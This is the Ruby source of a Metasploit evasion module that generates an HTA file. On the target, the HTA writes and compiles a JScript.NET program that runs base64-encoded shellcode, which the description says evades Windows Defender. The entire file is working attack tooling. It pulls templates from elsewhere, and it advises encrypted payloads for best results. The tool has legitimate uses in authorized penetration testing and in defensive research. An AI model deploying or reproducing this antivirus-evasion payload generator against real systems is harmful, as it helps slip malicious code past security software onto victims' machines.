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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Evasion
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  def initialize(info={})
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    super(merge_info(info,
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      'Name'        =>  'Microsoft Windows Defender Evasive JS.Net and HTA',
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      'Description' =>  %q{
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        This module will generate an HTA file that writes and compiles a JScript.NET file
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        containing shellcode on the target machine. After compilation, the generated EXE will
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        execute the shellcode without interference from Windows Defender.
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        It is recommended that you use a payload that uses RC4 or HTTPS for best experience.
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      },
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      'Author'      =>
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        [
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          'sinmygit',    # PoC
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          'Shelby Pace'  # Metasploit Module
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        ],
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      'License'     =>  MSF_LICENSE,
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      'Platform'    =>  'win',
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      'Arch'        =>  ARCH_X64,
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      'Targets'     =>  [ [ 'Microsoft Windows', {} ] ]
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    ))
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    register_options([
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      OptString.new(
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        'FILENAME',
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          [
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            true,
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            'Filename for the evasive file (default: random)',
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            "#{Rex::Text.rand_text_alpha(3..10)}.hta"
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          ])
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    ])
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  end
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  def run
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    # This is used in the ERB template
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    file_payload = Rex::Text.encode_base64(payload.encoded)
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    evasion_shellcode_path = File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js')
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    jsnet_code = File.read(evasion_shellcode_path)
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    fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exist?(evasion_shellcode_path)
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    js_file = ERB.new(jsnet_code).result(binding())
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    jsnet_encoded = Rex::Text.encode_base64(js_file)
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    # This is used in the ERB template
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    fname = Rex::Text.rand_text_alpha(6)
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    arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
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    hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')
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    hta = File.read(hta_path)
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    fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exist?(hta_path)
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    hta_file = ERB.new(hta).result(binding())
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    file_create(hta_file)
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  end
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end
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